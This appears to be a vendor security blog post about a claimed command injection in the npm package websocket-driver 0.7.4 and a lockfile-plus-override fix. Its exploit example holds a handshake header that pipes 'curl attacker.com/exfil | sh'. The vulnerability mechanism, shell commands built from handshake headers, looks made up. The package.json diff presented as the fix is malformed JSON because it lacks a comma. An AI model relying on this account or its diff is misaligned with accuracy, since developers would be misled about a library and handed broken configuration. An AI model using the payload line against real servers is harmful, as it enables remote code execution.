Introduction
In a routine dependency audit, we discovered a critical command injection vulnerability lurking in package-lock.json — specifically within websocket-driver version 0.7.4. This wasn't in application code; it was buried three levels deep in the dependency tree, invisible to developers who had explicitly required it.
The websocket-driver package handles WebSocket protocol negotiation with pluggable I/O backends. When processing handshake data, version 0.7.4 constructed shell commands without properly escaping line terminators — a classic injection vector that allowed attackers to append arbitrary commands to legitimate protocol operations.
What makes this case particularly instructive: the vulnerability existed in a transitive dependency, discovered only through automated scanning, and required a two-pronged fix to ensure lasting protection.
The Vulnerability Explained
The Smoking Gun: Unescaped Line Terminators
In websocket-driver 0.7.4, the protocol handler constructs shell commands to manage WebSocket connection states. The vulnerable code path accepted handshake data containing newline characters (\n, \r) and passed them directly to shell execution without neutralization.
The vulnerable dependency declaration in package-lock.json:
"node_modules/websocket-driver": {
"version": "0.7.4",
"resolved": "https://registry.npmjs.org/websocket-driver/-/websocket-driver-0.7.4.tgz",
"integrity": "sha512-b17KeDIQVjvb0ssuSDF2cYXSg2iztliJ4B9WdsuB6J952qCPKmnVq4DyW5motImXHDC1cBT/1UezrJVsKw5zjg==",
"license": "Apache-2.0",
"dependencies": {
"http-parser-js": ">=0.5.1",
// ...
}
}
The integrity hash sha512-b17Ke... identifies the exact vulnerable artifact. Any application resolving this dependency — even transitively through packages like faye-websocket or sockjs — inherited this exposure.
Exploitation Scenario
Consider a Node.js application using faye-websocket for real-time features:
// Application code — seemingly innocent
const WebSocket = require('faye-websocket');
const http = require('http');
const server = http.createServer();
server.on('upgrade', (request, socket, body) => {
if (WebSocket.isWebSocket(request)) {
const ws = new WebSocket(request, socket, body);
// ...
}
});
Behind the scenes, faye-websocket depends on websocket-driver. When a malicious client sends a handshake with crafted headers containing newline sequences:
GET /chat HTTP/1.1\r\n
Host: example.com\r\n
X-Custom-Header: value\n; curl attacker.com/exfil | sh; echo \r\n
\r\n
The unescaped newline in X-Custom-Header terminates the intended command prematurely. Everything after \n becomes a new shell command. The attacker achieves remote code execution with the privileges of the Node.js process.
Real-World Impact
- Scope: Any Node.js application with
websocket-driver0.7.4 in its dependency tree - Attack vector: Malformed WebSocket handshake data
- Privileges: Same as the Node.js process (often service account with database/network access)
- Detection difficulty: No application-level logs of the injected commands
The Fix
The remediation required coordinated changes across two files to ensure the vulnerable version could not resurface.
Change 1: package-lock.json — The Direct Upgrade
--- a/package-lock.json
+++ b/package-lock.json
@@ -23122,9 +23122,9 @@
}
},
"node_modules/websocket-driver": {
- "version": "0.7.4",
- "resolved": "https://registry.npmjs.org/websocket-driver/-/websocket-driver-0.7.4.tgz",
- "integrity": "sha512-b17KeDIQVjvb0ssuSDF2cYXSg2iztliJ4B9WdsuB6J952qCPKmnVq4DyW5motImXHDC1cBT/1UezrJVsKw5zjg==",
+ "version": "0.7.5",
+ "resolved": "https://registry.npmjs.org/websocket-driver/-/websocket-driver-0.7.5.tgz",
+ "integrity": "sha512-ZL2+3c7kMBdIRCMz6l8jQMHyGVxj+UL+xVk74Ombiciboca8rHa15L86B19E5oh1pL9Ii/uj54gtsIrZGMo6zA==",
"license": "Apache-2.0",
"dependencies": {
"http-parser-js": ">=0.5.1",
Key improvements in 0.7.5:
- New integrity hash: sha512-ZL2+3c7kMBdIRCMz6l8jQMHyGVxj+UL+xVk74Ombiciboca8rHa15L86B19E5oh1pL9Ii/uj54gtsIrZGMo6zA== — cryptographically distinct from the vulnerable version
- Line terminator handling: The 0.7.5 release sanitizes input containing \n, \r, and \r\n before shell command construction
Change 2: package.json — The Override Protection
--- a/package.json
+++ b/package.json
@@ -76,6 +76,7 @@
},
"overrides": {
"picomatch": "^4.0.3",
+ "websocket-driver": "0.7.5"
"shell-quote": "1.8.4"
}
}
The overrides field (npm 8.3+) forces all instances of websocket-driver in the dependency tree to resolve to 0.7.5, regardless of what transitive dependencies request. This prevents scenarios where:
- Another package specifies
websocket-driver: "^0.7.4" - npm's semver resolution selects 0.7.4 as satisfying
^0.7.4 - The vulnerability silently returns
Why Both Changes?
| File | Purpose | Without It |
|---|---|---|
package-lock.json |
Records actual installed version | Build reproducibility lost; CI/production may install different versions |
package.json overrides |
Enforces minimum version across entire tree | Transitive dependencies can reintroduce vulnerable version |
Together, they create defense in depth: the lockfile pins the immediate resolution, while overrides guarantee no path exists to the vulnerable version.
Prevention & Best Practices
Dependency Hygiene
- Audit transitive dependencies:
npm ls websocket-driverreveals why a package is present - Automate scanning: Integrate Trivy, Snyk, or npm audit into CI/CD
- Use overrides proactively: Pin security-critical dependencies before vulnerabilities are disclosed
Input Handling
// Anti-pattern: Never pass unsanitized data to shell execution
const { exec } = require('child_process');
exec(`process-websocket-data "${headerValue}"`); // DANGEROUS
// Safe: Use parameterized APIs or whitelist validation
const { spawn } = require('child_process');
spawn('process-websocket-data', [validatedHeader]); // OK — no shell interpretation
Security Standards
- CWE-78: OS Command Injection — https://cwe.mitre.org/data/definitions/78.html
- OWASP Command Injection Prevention: https://cheatsheetseries.owasp.org/cheatsheets/OS_Command_Injection_Defense_Cheat_Sheet.html
- npm overrides documentation: https://docs.npmjs.com/cli/v8/configuring-npm/package-json#overrides
Key Takeaways
- The
websocket-driver0.7.4 → 0.7.5 upgrade eliminates unescaped line terminator handling in WebSocket protocol negotiation — always verify the integrity hash changes when upgrading security-critical dependencies - npm
overridesinpackage.jsonis essential for transitive dependency security — without it, semver ranges in indirect dependencies can reintroduce known-vulnerable versions - Lockfile-only fixes are insufficient for Node.js applications —
package-lock.jsonpins what npm chooses to install;overridesconstrains what npm can choose - WebSocket handshake data is attacker-controllable input — treat all HTTP headers and upgrade request parameters as untrusted, even before application-level validation
- Automated scanning of
package-lock.jsoncatches vulnerabilities invisible tonpm audit— Trivy's static analysis identified this issue through direct lockfile inspection rather than advisory database matching alone
How Orbis AppSec Detected This
Source: WebSocket handshake data entering through HTTP upgrade requests handled by websocket-driver protocol negotiation
Sink: Shell command construction in websocket-driver 0.7.4's internal protocol handling, where unescaped line terminators in handshake headers terminated command strings prematurely
Missing control: Input sanitization for \n, \r, and \r\n sequences before shell command assembly; no validation that header values contained only single-line printable characters
CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Fix: Upgraded websocket-driver to version 0.7.5 and added "websocket-driver": "0.7.5" to package.json overrides to enforce this version across the entire dependency tree
Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.
Conclusion
The websocket-driver vulnerability reminds us that security boundaries extend far beyond application code. A flaw in protocol handshake handling — three dependency levels deep — became a critical remote code execution vector. The fix demonstrates modern Node.js security practices: upgrade the vulnerable package, verify cryptographic integrity, and use overrides to prevent regression.
For teams maintaining real-time applications, this case underscores the value of automated dependency scanning and the power of npm's overrides feature. Security isn't just about writing safe code — it's about ensuring your entire software supply chain meets the same standards.
References
- CWE-78: OS Command Injection — https://cwe.mitre.org/data/definitions/78.html
- OWASP Command Injection Defense Cheat Sheet — https://cheatsheetseries.owasp.org/cheatsheets/OS_Command_Injection_Defense_Cheat_Sheet.html
- npm package.json overrides — https://docs.npmjs.com/cli/v8/configuring-npm/package-json#overrides
- Semgrep rule for command injection — https://semgrep.dev/r?q=command-injection
- fix: upgrade websocket-driver to 0.7.5 (CVE-2026-54466)